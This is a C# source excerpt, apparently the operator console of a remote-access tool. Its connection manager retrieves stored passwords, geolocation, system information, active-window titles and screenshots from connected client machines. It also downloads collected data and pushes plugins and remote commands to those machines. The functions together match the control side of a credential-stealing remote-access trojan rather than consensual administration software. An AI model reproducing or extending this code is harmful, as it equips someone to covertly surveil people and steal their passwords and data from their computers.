public ComputerInformation GetComputerInformation(BaseClientInformation client)
{
var computerInformation = DataTransferProtocolFactory.ExecuteFunction <ComputerInformation>("GetComputerInformation", client.Id);
computerInformation.Timestamp = computerInformation.Timestamp.ToLocalTime();
return(computerInformation);
}
public void RemoveStoredData(List <ClientViewModel> clients)
{
Logger.Send(clients.Count == 1
? string.Format((string)Application.Current.Resources["RemoveClient"], clients[0].UserName)
: string.Format((string)Application.Current.Resources["RemoveClients"], clients.Count));
DataTransferProtocolFactory.ExecuteProcedure("RemoveClients", clients.Select(x => x.Id).ToList());
}
public ClientConfig GetClientConfig(OnlineClientInformation onlineClientInformation)
{
return(DataTransferProtocolFactory.ExecuteFunction <ClientConfig>("GetClientConfig", null,
new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes())
{
typeof(ClientConfig)
},
onlineClientInformation.Id));
}
public List <ExceptionInfo> GetExceptions(DateTime from, DateTime to)
{
var exceptions = DataTransferProtocolFactory.ExecuteFunction <List <ExceptionInfo> >("GetExceptions", from, to);
foreach (var exceptionInfo in exceptions)
{
exceptionInfo.Timestamp = exceptionInfo.Timestamp.ToLocalTime();
}
return(exceptions);
}
public List <DataEntry> GetDataEntries()
{
var entries = DataTransferProtocolFactory.ExecuteFunction <List <DataEntry> >("GetDataEntries");
foreach (var dataEntry in entries)
{
dataEntry.Timestamp = dataEntry.Timestamp.ToLocalTime();
}
return(entries);
}
public Dictionary <DataEntry, byte[]> DownloadEntries(IEnumerable <DataEntry> dataEntries)
{
var result = new Dictionary <DataEntry, byte[]>();
var dataEntriesList = dataEntries.ToList();
var downloadedData =
DataTransferProtocolFactory.ExecuteFunction <List <byte[]> >(
"DownloadMultipleData", dataEntriesList.Select(x => x.Id).ToList());
for (int i = 0; i < downloadedData.Count; i++)
{
if (downloadedData[i] != null)
{
result.Add(dataEntriesList[i], downloadedData[i]);
}
}
return(result);
}
public LocationInfo GetClientLocation(BaseClientInformation client)
{
return(DataTransferProtocolFactory.ExecuteFunction <LocationInfo>("GetClientLocation", client.Id));
}
public PasswordData GetPasswords(BaseClientInformation client)
{
return(DataTransferProtocolFactory.ExecuteFunction <PasswordData>("GetPasswords", client.Id));
}
public void ChangeGroup(List <int> clients, string newName)
{
Logger.Send(string.Format((string)Application.Current.Resources["ChangeClientsGroup"], clients.Count,
newName));
DataTransferProtocolFactory.ExecuteProcedure("ChangeGroup", clients, newName);
}
public Statistics GetStatistics()
{
return(DataTransferProtocolFactory.ExecuteFunction <Statistics>("GetStatistics"));
}
public int GetStaticCommandPluginId(byte[] pluginHash)
{
return(DataTransferProtocolFactory.ExecuteFunction <int>("GetStaticCommandPluginResourceId", pluginHash));
}
public bool IsStaticCommandPluginAvailable(byte[] pluginHash)
{
return(DataTransferProtocolFactory.ExecuteFunction <bool>("IsStaticCommandPluginAvailable", pluginHash));
}
public void StopClientActiveCommands(List <int> clientIds, RegisteredDynamicCommand dynamicCommand)
{
DataTransferProtocolFactory.ExecuteProcedure("StopClientActiveCommands", clientIds, dynamicCommand.Id);
}
public void StopDynamicCommands(List <RegisteredDynamicCommand> dynamicCommands)
{
DataTransferProtocolFactory.ExecuteProcedure("StopDynamicCommands",
dynamicCommands.Select(x => x.Id).ToList());
}
public List <RegisteredDynamicCommand> GetDynamicCommands()
{
return(DataTransferProtocolFactory.ExecuteFunction <List <RegisteredDynamicCommand> >("GetDynamicCommands",
null, DynamicCommandInfo.RequiredTypes.ToList()));
}
public List <ClientLocation> GetClientLocations()
{
return(DataTransferProtocolFactory.ExecuteFunction <List <ClientLocation> >("GetClientLocations"));
}
private void EndRead(IAsyncResult asyncResult)
{
try
{
var parameter = _readByteDelegate.EndInvoke(asyncResult);
var size = Sender.Connection.BinaryReader.ReadInt32();
var bytes = Sender.Connection.BinaryReader.ReadBytes(size);
Serializer serializer;
OnlineClientInformation client;
int clientId;
PackageInformation packageInformation = null;
if (PackageReceived != null)
{
packageInformation = new PackageInformation
{
Size = bytes.Length + 1,
Timestamp = DateTime.Now,
IsReceived = true
}
}
;
switch ((FromClientPackage)parameter)
{
case FromClientPackage.ResponseToAdministration:
case FromClientPackage.ResponseToAdministrationCompressed:
var isCompressed = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed;
var data = isCompressed
? LZF.Decompress(bytes, 1)
: bytes;
if (packageInformation != null)
{
packageInformation.Description = (FromClientPackage)parameter + " " +
CurrentController.DescribePackage(bytes[0], data,
isCompressed ? 0 : 1);
}
CurrentController?.PackageReceived(bytes[0], data, isCompressed ? 0 : 1);
break;
case FromClientPackage.ResponseLoginOpen:
clientId = BitConverter.ToInt32(bytes, 0);
client = _loginsPending.FirstOrDefault(x => x.Id == clientId);
if (client == null)
{
Logger.Error((string)Application.Current.Resources["CouldNotFindClient"]);
break;
}
_loginsPending.Remove(client);
Application.Current.Dispatcher.BeginInvoke(new Action(() =>
{
CurrentController = new ClientController(client, Sender, this);
((Commander)CurrentController.Commander).ConnectionInfo.PackageSent +=
_packageSentEventHandler;
LoginOpened?.Invoke(this, EventArgs.Empty);
}));
break;
case FromClientPackage.NewClientConnected:
serializer =
new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
client = serializer.Deserialize <OnlineClientInformation>(bytes);
Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
client.IpAddress, client.Port, client.UserName));
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(() => ClientProvider.NewClientConnected(client));
NewClientConnected?.Invoke(this, client);
break;
case FromClientPackage.ClientConnected:
serializer =
new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
client = serializer.Deserialize <OnlineClientInformation>(bytes);
Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
client.IpAddress, client.Port, client.UserName));
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(() => ClientProvider.ClientConnected(client));
ClientConnected?.Invoke(this, client);
break;
case FromClientPackage.ClientDisconnected:
var disconnectedClientId = BitConverter.ToInt32(bytes, 0);
if (CurrentController != null && CurrentController.Client.Id == disconnectedClientId)
{
CurrentController.Dispose();
CurrentController = null;
}
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(
() => ClientProvider.ClientDisconnected(disconnectedClientId));
ClientDisconnected?.Invoke(this, disconnectedClientId);
break;
case FromClientPackage.ComputerInformationAvailable:
var clientWithComputerInformationId = BitConverter.ToInt32(bytes, 0);
Application.Current.Dispatcher.BeginInvoke(
new Action(
() => ClientProvider.ComputerInformationAvailable(clientWithComputerInformationId)));
break;
case FromClientPackage.PasswordsAvailable:
var clientWithPasswordsId = BitConverter.ToInt32(bytes, 0);
ClientProvider.PasswordsAvailable(clientWithPasswordsId);
break;
case FromClientPackage.GroupChanged:
var newGroupNameLength = BitConverter.ToInt32(bytes, 0);
var newGroupName = Encoding.UTF8.GetString(bytes, 4, newGroupNameLength);
var clients = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes,
4 + newGroupNameLength);
ClientProvider.ClientGroupChanged(clients, newGroupName);
Logger.Receive((string)Application.Current.Resources["GroupChanged"]);
break;
case FromClientPackage.ClientsRemoved:
serializer = new Serializer(typeof(List <int>));
var removedClientsIds = serializer.Deserialize <List <int> >(bytes);
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(
() => ClientProvider.ClientRemoved(removedClientsIds));
if (removedClientsIds.Count == 1)
{
Logger.Receive((string)Application.Current.Resources["ClientRemoved"]);
}
else
{
Logger.Receive(string.Format((string)Application.Current.Resources["ClientsRemoved"],
removedClientsIds.Count));
}
break;
case FromClientPackage.DynamicCommandsRemoved:
DynamicCommandsRemoved?.Invoke(this,
new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
break;
case FromClientPackage.PluginLoaded:
clientId = BitConverter.ToInt32(bytes, 0);
var pluginInfo = new Serializer(typeof(PluginInfo)).Deserialize <PluginInfo>(bytes, 4);
ClientProvider.ClientPluginAvailable(clientId, pluginInfo);
PluginLoaded?.Invoke(this,
new PluginLoadedEventArgs(clientId, pluginInfo.Guid, pluginInfo.Version, true));
break;
case FromClientPackage.PluginLoadFailed:
clientId = BitConverter.ToInt32(bytes, 0);
PluginLoadingFailed?.Invoke(this,
new PluginLoadedEventArgs(clientId, new Guid(bytes.Skip(4).Take(16).ToArray()),
Encoding.ASCII.GetString(bytes.Skip(20).ToArray()), false));
break;
case FromClientPackage.DataTransferProtocolResponse:
if (packageInformation != null)
{
packageInformation.Description = "DataTransferProtocolResponse - " +
DataTransferProtocolFactory.DescribeReceivedData(bytes, 0);
}
DataTransferProtocolFactory.Receive(bytes);
break;
case FromClientPackage.ResponseActiveWindow:
clientId = BitConverter.ToInt32(bytes, 0);
var clientViewModel = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
if (clientViewModel != null)
{
clientViewModel.ActiveWindow = Encoding.UTF8.GetString(bytes, 4, bytes.Length - 4);
}
break;
case FromClientPackage.ResponseScreenshot:
clientId = BitConverter.ToInt32(bytes, 0);
var clientViewModel2 = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
if (clientViewModel2 != null)
{
using (var stream = new MemoryStream(bytes, 4, bytes.Length - 4))
using (var image = (Bitmap)Image.FromStream(stream))
clientViewModel2.Thumbnail = BitmapConverter.ToBitmapSource(image);
}
break;
case FromClientPackage.DataRemoved:
DataRemoved?.Invoke(this, new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
break;
case FromClientPackage.PasswordsRemoved:
var clientIds = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes);
foreach (var id in clientIds)
{
ClientProvider.PasswordsRemoved(id);
}
PasswordsRemoved?.Invoke(this, clientIds);
break;
case FromClientPackage.DataDownloadPackage:
DownloadDataReceived?.Invoke(this, bytes);
break;
case FromClientPackage.StaticCommandPluginReceived:
StaticCommandReceived?.Invoke(this, bytes);
break;
case FromClientPackage.StaticCommandPluginTransmissionFailed:
StaticCommandTransmissionFailed?.Invoke(this, bytes);
break;
case FromClientPackage.DynamicCommandAdded:
DynamicCommandAdded?.Invoke(this,
new Serializer(RegisteredDynamicCommand.RequiredTypes).Deserialize <RegisteredDynamicCommand>(bytes));
break;
case FromClientPackage.DynamicCommandEventsAdded:
DynamicCommandEventsAdded?.Invoke(this,
new Serializer(typeof(List <DynamicCommandEvent>)).Deserialize <List <DynamicCommandEvent> >(
bytes));
break;
case FromClientPackage.DynamicCommandStatusUpdate:
DynamicCommandStatusUpdated?.Invoke(this,
new DynamicCommandStatusUpdatedEventArgs(BitConverter.ToInt32(bytes, 0),
(DynamicCommandStatus)bytes[4]));
break;
case FromClientPackage.ResponseLibraryInformation:
LibraryInformationReceived?.Invoke(this,
new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
(PortableLibrary)BitConverter.ToInt32(bytes, 4)));
break;
case FromClientPackage.ResponseLibraryLoadingResult:
LibraryLoadingResultReceived?.Invoke(this,
new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
(PortableLibrary)BitConverter.ToInt32(bytes, 4)));
break;
case FromClientPackage.ActiveCommandsChanged:
ActiveCommandsChanged?.Invoke(this,
new Serializer(typeof(ActiveCommandsUpdate)).Deserialize <ActiveCommandsUpdate>(bytes, 0));
break;
default:
throw new ArgumentOutOfRangeException();
}
if (packageInformation != null)
{
if (string.IsNullOrEmpty(packageInformation.Description))
{
packageInformation.Description = ((FromClientPackage)parameter).ToString();
}
PackageReceived?.Invoke(this, packageInformation);
}
_readByteDelegate.BeginInvoke(EndRead, null);
}
catch (Exception ex)
{
if (!(ex is IOException) || ex.HResult != -2147024858)
{
LogManager.GetCurrentClassLogger().Warn(ex, "Disconnected from server");
if (Application.Current != null)
{
Logger.Error(string.Format((string)Application.Current.Resources["DisconnectedFromServerException"],
ex.Message));
}
}
else if (Application.Current != null)
{
Logger.Warn((string)Application.Current.Resources["DisconnectedFromServer"]);
}
else
{
LogManager.GetCurrentClassLogger().Warn("NullReference");
}
Dispose();
Disconnected?.Invoke(this, EventArgs.Empty);
}
}
public byte[] DownloadEntry(DataEntry dataEntry)
{
return(DataTransferProtocolFactory.ExecuteFunction <byte[]>("DownloadData", dataEntry.Id));
}
